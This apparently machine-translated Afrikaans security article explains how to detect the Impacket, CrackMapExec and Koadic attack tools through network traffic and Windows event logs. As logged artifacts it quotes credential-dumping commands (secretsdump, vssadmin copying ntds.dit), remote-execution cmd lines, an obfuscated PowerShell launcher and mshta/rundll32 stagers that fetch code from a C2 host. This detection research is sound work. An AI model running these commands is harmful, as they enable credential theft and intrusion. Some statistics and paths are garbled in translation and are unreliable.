Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed

Die aantal aanvalle in die korporatiewe sektor groei elke jaar: bv. het 2017% meer unieke voorvalle in 13 aangeteken as in 2016, en aan die einde van 2018 — 27% meer voorvalleas in die vorige tydperk. Insluitend dié waar die belangrikste werkinstrument die Windows-bedryfstelsel is. In 2017-2018, APT Dragonfly, APT28, APT MuddyWater aanvalle op regering en militêre organisasies in Europa, Noord-Amerika en Saoedi-Arabië uitgevoer. En hulle het drie gereedskap hiervoor gebruik - Impacket, CrackMapExec и Koadic. Hul bronkode is oop en beskikbaar op GitHub.

Dit is opmerklik dat hierdie instrumente nie vir aanvanklike penetrasie gebruik word nie, maar vir die ontwikkeling van 'n aanval binne die infrastruktuur. Aanvallers gebruik dit in verskillende stadiums van die aanval na die penetrasie van die omtrek. Dit is terloops moeilik om op te spoor en dikwels net met behulp van tegnologie spore van kompromie in netwerkverkeer op te spoor of gereedskap om aktiewe optrede van 'n indringer op te spoor nadat hy die infrastruktuur binnegedring het. Die gereedskap bied 'n verskeidenheid funksies, van die oordrag van lêers tot interaksie met die register en die uitvoering van opdragte op 'n afgeleë masjien. Ons het 'n studie van hierdie instrumente gedoen om hul netwerkaktiwiteit te bepaal.

Wat ons moes doen:

  • Verstaan ​​hoe inbraakgereedskap werk. Vind uit wat aanvallers moet ontgin en watter tegnologieë hulle kan gebruik.
  • Vind wat nie deur inligtingsekuriteitnutsmiddels in die eerste fases van 'n aanval opgespoor word nie. Die verkenningstadium kan oorgeslaan word, óf omdat die aanvaller 'n interne aanvaller is, óf omdat die aanvaller 'n fout in die infrastruktuur uitbuit wat nie voorheen bekend was nie. Dit word moontlik om die hele ketting van sy optrede te herstel, vandaar die begeerte om verdere beweging op te spoor ontstaan.
  • Elimineer vals positiewe uit inbraakdetectie-instrumente. Ons moet nie vergeet dat wanneer sekere handelinge op grond van intelligensie alleen ontdek word, gereelde foute moontlik is nie. Gewoonlik is daar in die infrastruktuur 'n voldoende aantal maniere, wat met die eerste oogopslag nie van regmatig onderskei kan word nie, om enige inligting te bekom.

Wat gee hierdie instrumente aan aanvallers? As dit 'n Impacket is, kry die aanvallers 'n groot biblioteek van modules wat op verskillende stadiums van die aanval gebruik kan word na die omtrekpenetrasie. Baie instrumente gebruik Impacket-modules intern, soos Metasploit. Dit het dcomexec en wmiexec om opdragte op afstand uit te voer, secretsdump om geheuerekeninge vanaf Impacket bygevoeg te kry. As gevolg hiervan sal die korrekte opsporing van die aktiwiteit van so 'n biblioteek die opsporing van afgeleides verseker.

Oor CrackMapExec (of bloot CME), het die skeppers vir 'n rede "Powered by Impacket" geskryf. Daarbenewens het CME gereedgemaakte funksionaliteit vir gewilde scenario's: dit is Mimikatz vir die verkryging van wagwoorde of hul hashes, en die bekendstelling van Meterpreter of Empire-agent vir afgeleë uitvoering, en Bloodhound aan boord.

Ons derde hulpmiddel van keuse is Koadic. Dit is redelik vars, dit is in 25 by die internasionale hacker-konferensie DEFCON 2017 aangebied en het 'n nie-standaard benadering: dit werk deur HTTP, Java Script en Microsoft Visual Basic Script (VBS). Hierdie benadering word genoem om van die land af te leef: die instrument gebruik 'n stel afhanklikhede en biblioteke wat in Windows ingebou is. Die skeppers noem dit COM Command & Control, of C3.

IMPACKET

Die funksionaliteit van Impacket is baie wyd, wat wissel van verkenning binne AD en die insameling van data vanaf interne MS SQL-bedieners, eindig met tegnieke vir die verkryging van geloofsbriewe: dit is 'n SMB-aflosaanval, en die verkryging van die ntds.dit-lêer wat gebruikerswagwoord-hashes van 'n domein bevat kontroleerder. Impacket voer ook opdragte op afstand uit deur vier verskillende metodes te gebruik: deur WMI, 'n diens om die Windows-skeduleerder, DCOM en SMB te bestuur, en hiervoor benodig dit geloofsbriewe.

geheime stortplek

Kom ons kyk na secretsdump. Dit is 'n module wat beide gebruikersmasjiene en domeinbeheerders kan teiken. Daarmee kan jy kopieë van LSA, SAM, SECURITY, NTDS.dit geheue areas kry, sodat dit in verskillende stadiums van die aanval gesien kan word. Die eerste stap in die werking van die module is verifikasie via SMB, wat óf die gebruiker se wagwoord óf sy hash vereis om die Pass the Hash-aanval outomaties uit te voer. Vervolgens kom 'n versoek om toegang tot die diensbeheerbestuurder (SCM) oop te maak en toegang tot die register te verkry deur die winreg-protokol te gebruik, waardeur die aanvaller die data van die takke wat vir hom belangstel kan uitvind en die resultate via SMB kan kry.

Op fig. 1 sien ons presies hoe, wanneer die winreg-protokol gebruik word, toegang verkry word deur die registersleutel met LSA. Om dit te doen, gebruik die DCERPC-opdrag met opcode 15 - OpenKey.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 1. Maak 'n registersleutel oop met die winreg-protokol

Verder, wanneer toegang deur sleutel verkry word, word die waardes gestoor deur die SaveKey opdrag met opcode 20. Impacket doen dit op 'n baie spesifieke manier. Dit stoor die waardes in 'n lêer waarvan die naam 'n string van 8 ewekansige karakters is met .tmp bygevoeg. Daarbenewens vind verdere aflaai van hierdie lêer plaas via SMB vanaf die System32-gids (Fig. 2).

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 2. Skema vir die verkryging van 'n registersleutel vanaf 'n afgeleë masjien

Dit blyk dat u sulke aktiwiteite op die netwerk kan opspoor deur sekere takke van die register navraag te doen deur die winreg-protokol, spesifieke name, opdragte en hul volgorde te gebruik.

Hierdie module laat ook spore in die Windows-gebeurtenislogboek, waardeur dit maklik opgespoor word. Byvoorbeeld, as gevolg van die uitvoering van die opdrag

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

in die Windows Server 2016-logboek sal ons die volgende sleutelvolgorde van gebeure sien:

1. 4624 - Remote Logon.
2. 5145 - kontrolering van toegangsregte tot die Winreg-afgeleë diens.
3. 5145 - kontroleer die toegangsregte tot 'n lêer in die System32-gids. Die lêer het die ewekansige naam hierbo genoem.
4. 4688 - skep 'n cmd.exe-proses wat vssadmin begin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - skep 'n proses met die opdrag:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - skep 'n proses met die opdrag:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - skep 'n proses met die opdrag:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Soos baie na-uitbuitingsinstrumente, het Impacket modules vir die uitvoering van afstandbevele. Ons sal fokus op smbexec, wat jou 'n interaktiewe opdragdop op 'n afgeleë masjien gee. Hierdie module vereis ook verifikasie via SMB met óf 'n wagwoord óf sy hash. Op fig. 3 sien ons 'n voorbeeld van die werking van so 'n instrument, in hierdie geval is dit die plaaslike administrateurkonsole.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 3. smbexec interaktiewe konsole

Die eerste stap in smbexec na verifikasie is om die SCM oop te maak met die OpenSCManagerW(15) opdrag. Die navraag is opvallend: dit het die MachineName-veld op DUMMY gestel.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 4. Versoek om Diensbeheerbestuurder oop te maak

Vervolgens word die diens geskep met behulp van die CreateServiceW (12) opdrag. In die geval van smbexec, kan ons elke keer dieselfde opdragbou-logika sien. Op fig. 5 groen kleur dui die onveranderlike parameters van die opdrag aan, geel - wat die aanvaller kan verander. Dit is maklik om te sien dat die naam van die uitvoerbare lêer, sy gids en die uitvoerlêer verander kan word, maar die res is baie moeiliker om te verander sonder om die logika van die Impacket-module te oortree.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 5. Versoek om 'n diens te skep deur Diensbeheerbestuurder te gebruik

Smbexec laat ook duidelike spore in die Windows-gebeurtenislogboek. In die Windows Server 2016-logboek vir 'n interaktiewe opdragdop met die ipconfig-opdrag, sien ons die volgende sleutelvolgorde van gebeure:

1. 4697 - installering van die diens op die slagoffer se masjien:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - skepping van die cmd.exe-proses met die argumente vanaf punt 1.
3. 5145 - kontroleer die toegangsregte tot die __uitvoerlêer in die C$-gids.
4. 4697 - Die installering van die diens op die slagoffer se masjien.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - skepping van die cmd.exe-proses met die argumente vanaf punt 4.
6. 5145 - kontroleer die toegangsregte tot die __uitvoerlêer in die C$-gids.

Impacket is die basis vir die ontwikkeling van aanvalsinstrumente. Dit ondersteun byna alle protokolle in die Windows-infrastruktuur en het terselfdertyd sy eie kenmerke. Hier is spesifieke winreg-versoeke, en die gebruik van die SCM API met die kenmerkende vorming van opdragte, en die formaat van lêername, en SMB-deel SYSTEM32.

CRACKMAPEXEC

Die CME-instrument is hoofsaaklik ontwerp om daardie roetine-aksies wat 'n aanvaller moet uitvoer te outomatiseer om binne die netwerk te vorder. Dit laat jou toe om saam met die berugte Empire-agent en Meterpreter te werk. Om opdragte onsigbaar uit te voer, kan CME hulle verduister. Deur Bloodhound ('n aparte verkenningsinstrument) te gebruik, kan 'n aanvaller die soektog na 'n aktiewe domeinadministrateursessie outomatiseer.

Bloodhound

Bloodhound as 'n selfstandige instrument laat jou toe om gevorderde verkenning binne die netwerk te doen. Dit versamel data oor gebruikers, masjiene, groepe, sessies en kom as 'n PowerShell-skrip of binêre. LDAP of protokolle gebaseer op SMB word gebruik om inligting in te samel. Die CME-integrasiemodule laat jou toe om Bloodhound na die slagoffer se masjien af ​​te laai, dit te laat loop en die versamelde data te ontvang na uitvoering, om sodoende die aksies in die stelsel te outomatiseer en dit minder opvallend te maak. Die grafiese dop van Bloodhound bied die versamelde data in die vorm van grafieke aan, wat jou toelaat om die kortste pad van die aanvaller se masjien na die domeinadministrateur te vind.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 6. Bloodhound Interface

Om op die slagoffer se masjien te hardloop, skep die module 'n taak deur ATSVC en SMB te gebruik. ATSVC is 'n koppelvlak om met die Windows-taakskeduleerder te werk. Die CME gebruik sy NetrJobAdd(1)-funksie om werksgeleenthede oor die netwerk te skep. 'n Voorbeeld van wat die CME-module stuur, word in fig. 7: dit is 'n oproep na die cmd.exe-opdrag en verduisterde kode in die vorm van argumente in XML-formaat.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Fig.7. Skep 'n taak via CME

Nadat die taak vir uitvoering ingedien is, begin die slagoffer se masjien die Bloodhound self, en dit kan in die verkeer gesien word. Die module word gekenmerk deur LDAP-navrae om standaardgroepe te kry, 'n lys van alle masjiene en gebruikers in die domein, om inligting oor aktiewe gebruikersessies deur die SRVSVC NetSessEnum-versoek te kry.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 8. Kry 'n lys van aktiewe sessies via SMB

Daarbenewens word Bloodhound op die slagoffer se masjien begin met ouditering geaktiveer, vergesel van 'n gebeurtenis met ID 4688 (prosesskepping) en prosesnaam «C:WindowsSystem32cmd.exe». Opvallend daarin is die opdragreëlargumente:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Die enum_avproducts-module is baie interessant vanuit die oogpunt van funksionaliteit en implementering. WMI laat jou toe om die WQL-navraagtaal te gebruik om data van verskeie Windows-voorwerpe te kry, wat in wese is wat hierdie CME-module gebruik. Dit genereer navrae na die AntiSpywareProduct- en AntiMirusProduct-klasse oor die beskermingsinstrumente wat op die slagoffer se masjien geïnstalleer is. Om die vereiste data te kry, koppel die module aan die rootSecurityCenter2-naamruimte, genereer dan 'n WQL-navraag en ontvang 'n antwoord. Op fig. 9 toon die inhoud van sulke versoeke en antwoorde. In ons voorbeeld is Windows Defender gevind.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 9. Netwerkaktiwiteit van enum_avproducts-module

Dikwels kan ouditering van WMI (Trace WMI-Activity), in die gebeure waarvan jy nuttige inligting oor WQL-navrae kan vind, afgeskakel word. Maar as dit geaktiveer is, as die enum_avproducts-skrip uitgevoer word, sal 'n gebeurtenis met ID 11 gestoor word. Dit sal die naam van die gebruiker wat die versoek ingedien het, en die naam in die rootSecurityCenter2-naamruimte bevat.

Elkeen van die CME-modules het sy eie artefakte gehad, of dit nou spesifieke WQL-navrae was of die skepping van 'n sekere tipe taak in die taakskeduleerder met verduistering en Bloodhound-spesifieke aktiwiteit in LDAP en SMB.

KOADIC

'n Kenmerkende kenmerk van Koadic is die gebruik van ingeboude JavaScript- en VBScript-tolke in Windows. In hierdie sin volg dit die neiging om van die land af te leef - dit wil sê, dit het geen eksterne afhanklikhede nie en gebruik standaard Windows-nutsgoed. Dit is 'n hulpmiddel vir 'n volwaardige Command & Control (CnC), want na infeksie word 'n "inplantaat" op die masjien geïnstalleer, wat dit toelaat om beheer te word. So 'n masjien, in Koadiese terminologie, word 'n "zombie" genoem. As daar nie genoeg voorregte is om ten volle aan die kant van die slagoffer te werk nie, het Koadic die vermoë om hulle groot te maak deur gebruik te maak van Gebruikersrekeningbeheer-omleidingstegnieke (UAC-omseiling).

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 10. Koadiese opdragdop

Die slagoffer moet kommunikasie met die Command & Control-bediener begin. Om dit te doen, moet sy toegang tot 'n vooraf voorbereide URI kry en die hoof Koadic-liggaam kry deur een van die stagers te gebruik. Op fig. 11 toon 'n voorbeeld vir die stager mshta.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 11. Inisialisering van die sessie met die CnC-bediener

Deur die WS-veranderlike van die reaksie word dit duidelik dat die uitvoering deur WScript.Shell plaasvind, en die STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE veranderlikes bevat sleutelinligting oor die parameters van die huidige sessie. Dit is die eerste versoek-antwoord-paar in die HTTP-verbinding met die CnC-bediener. Daaropvolgende versoeke hou direk verband met die funksionaliteit van die geroepe modules (inplantings). Alle Koadic-modules werk slegs met 'n aktiewe CnC-sessie.

Mimikatz

Net soos CME met Bloodhound werk, werk Koadic saam met Mimikatz as 'n aparte program en het verskeie maniere om dit uit te voer. Hieronder is 'n versoek-reaksie-paar vir die aflaai van 'n Mimikatz-inplantaat.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 12. Dra Mimikatz oor na Koadic

Jy kan sien hoe die formaat van die URI in die versoek verander het. Dit het 'n waarde vir die csrf-veranderlike, wat verantwoordelik is vir die geselekteerde module. Gee geen ag op haar naam nie; ons weet almal dat CSRF gewoonlik anders verstaan ​​word. Dieselfde hoofliggaam van Koadic het in reaksie gekom, waarby kode wat met Mimikatz verband hou, bygevoeg is. Dit is redelik groot, so kom ons kyk na die sleutelpunte. Hier is die base64-gekodeerde Mimikatz-biblioteek, die serialized .NET-klas wat dit sal inspuit, en die argumente om Mimikatz te laat loop. Die resultaat van die uitvoering word in duidelike teks oor die netwerk versend.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 13. Die resultaat van die loop van Mimikatz op 'n afgeleë masjien

Exec_cmd

Koadic het ook modules wat opdragte op afstand kan uitvoer. Hier sal ons dieselfde URI generasie metode en die bekende sid en csrf veranderlikes sien. In die geval van die exec_cmd-module word kode by die liggaam gevoeg wat in staat is om dopopdragte uit te voer. Die volgende kode word in die HTTP-antwoord van die CnC-bediener gewys.

Hoe om aanvalle op Windows-infrastruktuur op te spoor: verken hacker-nutsgoed
Rys. 14. Inplantingskode exec_cmd

Die veranderlike GAWTUUGCFI met die bekende WS-kenmerk word benodig vir kode-uitvoering. Met sy hulp roep die inplantaat die dop, verwerk twee kodevertakkings - shell.exec met die terugkeer van die uitsetdatastroom en shell.run sonder om terug te keer.

Koadic is nie 'n tipiese instrument nie, maar dit het sy eie artefakte waardeur dit in wettige verkeer gevind kan word:

  • spesiale vorming van HTTP-versoeke,
  • met behulp van die winHttpRequests API,
  • skep 'n WScript.Shell-voorwerp via ActiveXObject,
  • groot uitvoerbare liggaam.

Die aanvanklike verbinding inisieer die verhoog, sodat dit moontlik word om sy aktiwiteit deur Windows-gebeure op te spoor. Vir mshta is dit gebeurtenis 4688, wat die skepping van 'n proses met die begin-kenmerk aandui:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Terwyl Koadic bestuur word, kan ander 4688-geleenthede gesien word met eienskappe wat dit perfek kenmerk:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Bevindinge

Die leef van die grondneiging word gewild onder kubermisdadigers. Hulle gebruik die ingeboude Windows-nutsgoed en -meganismes vir hul behoeftes. Ons sien die gewilde instrumente Koadic, CrackMapExec en Impacket wat hierdie beginsel volg, wat meer en meer gereeld in APT-verslae verskyn. Die aantal vurke op GitHub vir hierdie gereedskap groei ook, nuwes verskyn (daar is reeds ongeveer 'n duisend van hulle nou). Die neiging is besig om gewild te word as gevolg van sy eenvoud: aanvallers het nie derdeparty-gereedskap nodig nie, hulle is reeds op die masjiene van slagoffers en help om veiligheidsmaatreëls te omseil. Ons is gefokus op die studie van netwerkinteraksie: elke instrument wat hierbo beskryf word, laat sy spore in netwerkverkeer; hul gedetailleerde studie het ons toegelaat om ons produk te onderrig PT Network Attack Discovery om hulle op te spoor, wat uiteindelik help om die hele ketting kubervoorvalle waarby hulle betrokke is, te ondersoek.

Skrywers:

  • Anton Tyurin, hoof van kundige dienste-afdeling, PT Expert-sekuriteitsentrum, Positive Technologies
  • Egor Podmokov, kenner, PT Expert Sekuriteitsentrum, Positive Technologies

Bron: will.com

Voeg 'n opmerking